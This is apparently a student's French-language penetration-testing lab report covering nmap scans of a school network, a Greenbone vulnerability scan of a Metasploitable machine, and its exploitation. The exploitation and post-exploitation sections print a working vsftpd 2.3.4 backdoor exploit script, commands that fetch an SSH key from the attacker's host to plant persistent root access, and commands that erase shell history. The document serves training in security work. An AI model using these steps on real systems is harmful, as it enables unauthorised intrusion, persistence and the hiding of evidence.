

Pentest

Scan réseau (Réseau infra école)

Mappage des hôtes du réseau

```
# Scan entier du réseau  
sudo nmap 172.25.0.0/16 -sn -n -v
```

`-sn` Scan hôtes sans détecter service

Hôtes trouvés

```
Nmap scan report for 172.25.60.1  
Host is up (0.00025s latency).  
MAC Address: 94:F3:92:C0:DA:92 (Fortinet)
```

```
Nmap scan report for 172.25.60.5  
Host is up (0.018s latency).  
MAC Address: 50:1C:B0:A3:21:4A (Cisco Systems)
```

```
Nmap scan report for 172.25.60.10  
Host is up.
```

Scan hôtes intéressant (Firewall Fortigate, Serveurs, SW)

Scan FortiGate

```
# Scan tcp Syn-scan  
sudo nmap 172.25.60.1 -n -sS --disable-arp-ping -Pn -O  
PORT      STATE SERVICE VERSION  
80/tcp    open  http  
113/tcp   closed ident
```

443/tcp open ssl/https

Détecter version + OS

```
sudo nmap 172.25.60.1 -n -sV --disable-arp-ping -Pn -O
```

Device type: security-misc

Running (JUST GUESSING): Fortinet FortiOS 6.X|7.X (94%)

OS CPE: cpe:/o:fortinet:fortios:6 cpe:/o:fortinet:fortios:7

Aggressive OS guesses: Fortinet FortiOS 6.2 - 7.2 (94%), Fortinet FortiOS 7 (88%)

No exact OS matches for host (test conditions non-ideal).

Version service pas détectée car nmap connaissait pas leur signature

Scan udp port UDP

```
sudo nmap 172.25.60.1 -n -sU -T4 --top-ports 10
```

Nmap scan report for 172.25.60.1

Host is up (0.0013s latency).

All 1000 scanned ports on 172.25.60.1 are in ignored states.

Not shown: 1000 open|filtered udp ports (no-response)

-Pn pas de découverte, que scan de port

Scan 172.25.60.10

SYN Scan rapide

```
sudo nmap 172.25.60.10 -n -sS --disable-arp-ping -Pn
```

Not shown: 990 closed tcp ports (reset)

PORT	STATE	SERVICE
------	-------	---------

22/tcp	open	ssh
--------	------	-----

80/tcp	open	http
--------	------	------

389/tcp	open	ldap
---------	------	------

514/tcp	open	shell
---------	------	-------

2000/tcp	open	cisco-sccp
----------	------	------------

3000/tcp	open	ppp
----------	------	-----

5060/tcp	open	sip
----------	------	-----

5900/tcp	open	vnc
----------	------	-----

9080/tcp	open	glrpc
----------	------	-------

9100/tcp	open	jetdirect
----------	------	-----------

```
# Scan version + OS, agressif
sudo nmap 172.25.60.10 -n -sV -v --disable-arp-ping -Pn -O -T4
Discovered open port 5900/tcp on 172.25.60.10
Discovered open port 22/tcp on 172.25.60.10
Discovered open port 80/tcp on 172.25.60.10
Discovered open port 9100/tcp on 172.25.60.10
Discovered open port 9080/tcp on 172.25.60.10
Discovered open port 514/tcp on 172.25.60.10
Discovered open port 5060/tcp on 172.25.60.10
Discovered open port 2000/tcp on 172.25.60.10
Discovered open port 3000/tcp on 172.25.60.10
Discovered open port 389/tcp on 172.25.60.10
→ Scan bloqué

# Scan port ouvert ciblé
sudo nmap 172.25.60.10 -n -sV -p5900,22,80,9100,514,5060,2000,389,9080
22/tcp open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http      nginx 1.22.1
5900/tcp open vnc       VNC (protocol 3.8)
9100/tcp open  jetdirect?
9080/tcp open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
5060/tcp open  tcpwrapped
200/tcp closed src
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Scan agressif NSE attaque + script par défaut
sudo nmap 172.25.60.10 -sC -p22,80,9080,389,5900 -A
22/tcp open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 ee:62:6a:32:3d:30:a9:ec:d0:fe:b0:80:2a:b9:5e:5b (ECDSA)
|_ 256 96:c5:03:62:1f:30:63:61:58:b6:e2:38:e9:be:af:3d (ED25519)
80/tcp open  http      nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Apache2 Debian Default Page: It works
```

```

389/tcp open ldap    OpenLDAP 2.2.X - 2.3.X
5900/tcp open vnc     VNC (protocol 3.8)
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|     VeNCrypt (19)
|     Unknown security type (129)
|     RA2 (5)
|   VeNCrypt auth subtypes:
|_   Plain, Server-authenticated TLS (262)
9080/tcp open http    Golang net/http server (Go-IPFS json-rpc or InfluxDB
API)
| http-title: Targets
|_Requested resource was /targets
Warning: OSScan results may be unreliable because we could not find at le
ast 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4
OS details: Linux 4.19 - 5.15
Network Distance: 2 hops

```

SCAN UDP

```

# Scan UDP, rapide
sudo nmap 172.25.60.10 -n -sU -T4 -F --max-retries 5
PORT      STATE SERVICE
123/udp open  ntp

sudo nmap 172.25.60.10 -n -sU -T4 --max-retries 5 -p123 -A
PORT      STATE SERVICE VERSION
123/udp open  ntp     NTP vntpsec-1.2.2 (secondary server)
| ntp-info:
|   version: ntpd ntpsec-1.2.2
|   processor: aarch64
|   system: Linux/6.12.47+rpt-rpi-v8
|   refid: 185.92.222.26

```

```
|_ stratum: 3
```

Too many fingerprints match this host to give specific OS details

Network Distance: 2 hops

Service Info: OS: Linux/6.12.47+rpt-rpi-v8

Host script results:

```
|_clock-skew: 7s
```

TRACEROUTE (using port 443/tcp)

HOP	RTT	ADDRESS
-----	-----	---------

1	0.50 ms	172.25.50.1
---	---------	-------------

2	0.68 ms	172.25.60.10
---	---------	--------------

SCAN Cisco

```
sudo nmap 172.25.60.5 -n
```

PORT	STATE	SERVICE
------	-------	---------

22/tcp	open	ssh
--------	------	-----

80/tcp	open	http
--------	------	------

443/tcp	open	https
---------	------	-------

2000/tcp	open	cisco-sccp
----------	------	------------

5060/tcp	open	sip
----------	------	-----

Scan agresif

```
sudo nmap 172.25.60.5 -n -sV -p22,80,443,2000,5060 -A
```

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

22/tcp	open	ssh	Cisco SSH 1.25 (protocol 2.0)
--------	------	-----	-------------------------------

```
|_ ssh-hostkey:
```

```
|_ 2048 f4:88:47:0e:e8:5c:90:46:f2:ca:2b:ca:c9:6b:b3:dd (RSA)
```

80/tcp	open	http	Cisco IOS http config
--------	------	------	-----------------------

```
|_http-title: Site doesn't have a title.
```

```
|_ http-auth:
```

```
|_ HTTP/1.1 401 Unauthorized\x0D
```

```
|_ Basic realm=level_15_access
```

```
|_http-server-header: cisco-IOS
```

443/tcp	open	ssl/http	Cisco IOS http config
---------	------	----------	-----------------------

```
|_ ssl-cert: Subject: commonName=G2-SWT-AG206.ag006.heh.local
```

```
| Not valid before: 2025-11-20T14:32:32
|_Not valid after: 2035-11-18T14:32:32
|_ssl-date: TLS randomness does not represent time
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=level_15_access
|_http-server-header: cisco-IOS
2000/tcp open  tcpwrapped
5060/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at le
ast 1 open and 1 closed port
Device type: router
Running: Cisco IOS 12.X
OS CPE: cpe:/h:cisco:870_router cpe:/h:cisco:2821_router cpe:/h:cisco:650
6_router cpe:/h:cisco:7206vrx_router cpe:/o:cisco:ios:12 cpe:/o:cisco:ios:15
OS details: Cisco 870, 2821, 6506, or 7206VXR router (IOS 12.2 - 15.1)
Network Distance: 2 hops
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios

TRACEROUTE (using port 2000/tcp)
HOP RTT    ADDRESS
1  0.96 ms 172.25.50.1
2  0.63 ms 172.25.60.5
```

Scan de vulnérabilité

Machine éthical hacker de netacad

Scanner hôte vu en classe

```
$ sudo nmap 172.17.0.2 -n -Pn --disable-arp-ping -O -sV
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2025-11-22 18:02 UTC
Nmap scan report for 172.17.0.2
Host is up (0.000030s latency).
```

Not shown: 981 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	vsftpd 2.3.4
--------	------	-----	--------------

22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
--------	------	-----	--

23/tcp	open	telnet	Linux telnetd
--------	------	--------	---------------

25/tcp	open	smtp	Postfix smtpd
--------	------	------	---------------

80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
--------	------	------	-------------------------------------

111/tcp	open	rpcbind	2 (RPC #100000)
---------	------	---------	-----------------

139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGRO UP)
---------	------	-------------	--

445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGRO UP)
---------	------	-------------	--

512/tcp	open	exec	netkit-rsh rexecd
---------	------	------	-------------------

513/tcp	open	login?	
---------	------	--------	--

514/tcp	open	shell	Netkit rshd
---------	------	-------	-------------

1099/tcp	open	java-rmi	GNU Classpath grmiregistry
----------	------	----------	----------------------------

1524/tcp	open	bindshell	Metasploitable root shell
----------	------	-----------	---------------------------

2121/tcp	open	ftp	ProFTPD 1.3.1
----------	------	-----	---------------

3306/tcp	open	mysql?	
----------	------	--------	--

5432/tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
----------	------	------------	-----------------------------

6667/tcp	open	irc	UnrealIRCd
----------	------	-----	------------

8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
----------	------	-------	------------------------------

8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
----------	------	------	-------------------------------------

MAC Address: 02:42:AC:11:00:02 (Unknown)

No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

TCP/IP fingerprint:

OS:SCAN(V=7.94%E=4%D=11/22%OT=21%CT=1%CU=44342%PV=Y%DS=1%DC=D%G=Y%M=0242AC%

OS:TM=6921FB4A%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10C%TI=Z%CI=Z%II=

OS:I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%

OS:O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W

OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=

OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%

```
W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=
Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%R
UCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)
```

Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; O
Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
<https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 168.81 seconds

Analyse du scan et vulnérabilité trouvée

Lancer le scanneur de vulnérabilité

```
# Lancer Greenbone
sudo gvm-start
# Accéder à 127.0.0.1:9392
```

Scans → Tasks → advanced task wizard

Renseigner un nom pour le scan et l'ip de l'hôte à scanner

Scan de 172.17.0.2

CVE trouvées:

CVE	NVT	Hosts	Occurrences	Severity ▼
CVE-1999-0618	The rexec service is running	1	1	10.0 (High)
CVE-2008-5304 CVE-2008-5305	TWiki XSS and Command Execution Vulnerabilities	1	1	9.8 (High)
CVE-2020-1938	Apache Tomcat AJP RCE Vulnerability (Ghostcat)	1	1	9.8 (High)
CVE-2004-2687	DistCC RCE Vulnerability (CVE-2004-2687)	1	1	9.5 (High)
CVE-2016-7144	UnrealIRCd Authentication Spoofing Vulnerability	1	1	9.3 (High)
CVE-2012-1823 CVE-2012-2311 CVE-2012-2336 CVE-2012-2335	PHP-CGI-based setups vulnerability when parsing query string parameters from php...	1	1	9.3 (High)
CVE-1999-0501 CVE-1999-0502 CVE-1999-0507 CVE-1999-0508 CVE-2001-1594 CVE-2013-7404 CVE-2018-19063 CVE-2018-19064	FTP Brute Force Logins Reporting	1	1	7.5 (High)
CVE-2014-0224	SSL/TLS: OpenSSL CCS Man in the Middle Security Bypass Vulnerability	1	1	7.4 (High)
CVE-2011-0411 CVE-2011-1430 CVE-2011-1431 CVE-2011-1432 CVE-2011-1506 CVE-2011-1575 CVE-2011-1926 CVE-2011-2165	Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection V...	1	1	6.5 (Medium)
CVE-2009-4898	Twiki Cross-Site Request Forgery Vulnerability - Sep10	1	1	6.5 (Medium)
CVE-1999-0497	Anonymous FTP Login Reporting	1	1	6.4 (Medium)
CVE-2012-6708	jQuery < 1.9.0 XSS Vulnerability	1	1	6.3 (Medium)
CVE-2018-20212	Twiki < 6.1.0 XSS Vulnerability	1	1	6.3 (Medium)
CVE-2009-1329	Twiki Cross-Site Request Forgery Vulnerability	1	1	6.2 (Medium)
CVE-2007-2447	Samba MS-RPC Remote Shell Command Execution Vulnerability - Active Check	1	1	6.2 (Medium)
CVE-2016-0800 CVE-2014-3566	SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection	1	2	6.1 (Medium)
CVE-2003-1567 CVE-2004-2320 CVE-2004-2763 CVE-2005-3398 CVE-2006-4683 CVE-2007-3008 CVE-2008-7253 CVE-2009-2823 CVE-2010-0386 CVE-2012-2223 CVE-2014-7883	HTTP Debugging Methods (TRACE/TRACK) Enabled	1	1	6.2 (Medium)
CVE-2011-1473 CVE-2011-5094	SSL/TLS: Renegotiation DoS Vulnerability (CVE-2011-1473, CVE-2011-5094)	1	2	6.2 (Medium)
CVE-2005-0283	QWiniwki directory traversal vulnerability	1	1	6.2 (Medium)
CVE-1999-0678	/etc directory browseable	1	1	6.2 (Medium)
CVE-2013-2566 CVE-2015-2808 CVE-2015-4000	SSL/TLS: Report Weak Cipher Suites	1	1	6.2 (Medium)
CVE-2011-3389 CVE-2015-0204	SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection	1	2	6.1 (Medium)
CVE-2015-0204	SSL/TLS: RSA Temporary Key Handling 'RSA_EXPORT' Downgrade Issue (FREAK)	1	1	6.1 (Medium)
CVE-2010-4480	phpMyAdmin 'error.php' Cross Site Scripting Vulnerability	1	1	6.1 (Medium)
CVE-2012-0053	Apache HTTP Server 'httpOnly' Cookie Information Disclosure Vulnerability	1	1	6.1 (Medium)
CVE-2011-4969	jQuery < 1.6.3 XSS Vulnerability	1	1	6.1 (Medium)
CVE-2015-4000	SSL/TLS: 'DHE_EXPORT' Man in the Middle Security Bypass Vulnerability (Logjam)	1	1	6.0 (Low)
CVE-2014-3566	SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (...)	1	2	6.4 (Low)
CVE-1999-0524	ICMP Timestamp Reply Information Disclosure	1	1	3.3 (Low)

NVT: Des outils comme le **Greenbone Vulnerability Management (GVM)** utilisent des ensembles de **Network Vulnerability Tests (NVT)** pour effectuer ces analyses de sécurité

→ En gros script exécuté sur un hôte pour vérifier si une vulnérabilité est présente

Information trouvées par le scan

J'ai mis uniquement les

10 HIGH SEVERITY

1. Rexec service

rexec (remote execution client for an exec server) has the same kind of functionality that rsh has: you can execute shell commands on a remote computer.

CVE-1999-0618

Mitigation: utiliser une alternative comme SSH

2. TWiki XSS and Command Execution Vulnerabilities

TWiki is prone to Cross-Site Scripting (XSS) and Command Execution Vulnerabilities.

CVE-2008-5304 CVE-2008-5305

The flaws are due to:

- %URLPARAM{}% variable is not properly sanitized which lets attackers conduct cross-site scripting attack.
- %SEARCH{}% variable is not properly sanitised before being used in an eval() call which lets the attackers execute perl code through eval

Successful exploitation could allow execution of arbitrary script code or commands. This could let attackers steal cookie-based authentication credentials or compromise the affected application.

Solution Type:Vendorfix: Upgrade to version 4.2.4 or later.

9.8 HIGH

3. Apache Tomcat AJP RCE Vulnerability (Ghostcat)

Apache Tomcat server has a file containing vulnerability, which can be used by an attacker to read or include any files in all webapp directories on Tomcat, such as webapp configuration files or source code.

CVE-2020-1938

Solution: Vendor fix: Update Apache Tomcat to version 7.0.100, 8.5.51, 9.0.31 or later. For other products using Tomcat please contact the vendor for more information on fixed versions.

7.5 HIGH

4. FTP Brute Force Logins Reporting

CVE-1999-0501CVE-1999-0502CVE-1999-0507CVE-1999-0508CVE-2001-1594CVE-2013-7404CVE-2018-19063CVE-2018-19064

This issue may be exploited by a remote attacker to e.g. gain access to sensitive information or modify system configuration.

Mitigation: Change the password as soon as possible.

Exploitation de vulnérabilité

Vulnérabilité choisie: FTP Brute Force Logins Reporting → FTP vulnérable

Searchsploit

Recherche d'exploit avec searchsploit et la version de ftp qui est utilisée

```
└─$ searchsploit vsftpd 2.3.4
-----
-----
Exploit Title                                     | Path
-----
-----
vsftpd 2.3.4 - Backdoor Command Execution        | unix/
remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) |
unix/remote/17491.rb
-----
-----
Shellcodes: No Results

# Récupérer l'exploit
searchsploit -m unix/remote/49757.py

# Lire le script de l'exploit
└─$ cat 49757.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/
server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3
```

```

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print(' [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')

# Exécuter l'exploit
└─$ python3 49757.py 172.17.0.2
/home/kali/49757.py:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet
Success, shell opened
Send `exit` to quit shell

```

```
# Remote shell gagné
# Améliorer terminal
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/#
```

Post-exploitation

Créer des clés SSH sur un nouvel user mais pas encore fait

```
# Générer clé
ssh-keygen -t rsa -b 4096 -C "pentest" -f ~/.ssh/id_rsa -N ""

# Faire un serveur pour le transfert de fichier sur machine cliente (kali)
cd ~/.ssh
python3 -m http.server 8000

# Sur machine exploitée
cd /root
mkdir -p .ssh
wget http://172.17.0.1:8000/id_rsa.pub -O .ssh/authorized_keys

# Vérifier que clé SSH peut bien téléchargée
ls -l .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

# Sur machine kali
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa
-i ~/.ssh/id_rsa root@172.17.0.2
ssh -i ~/.ssh/id_rsa root@172.17.0.2

# Efface l'historique des commandes tapées
history -c
cat /dev/null > ~/.bash_history
```

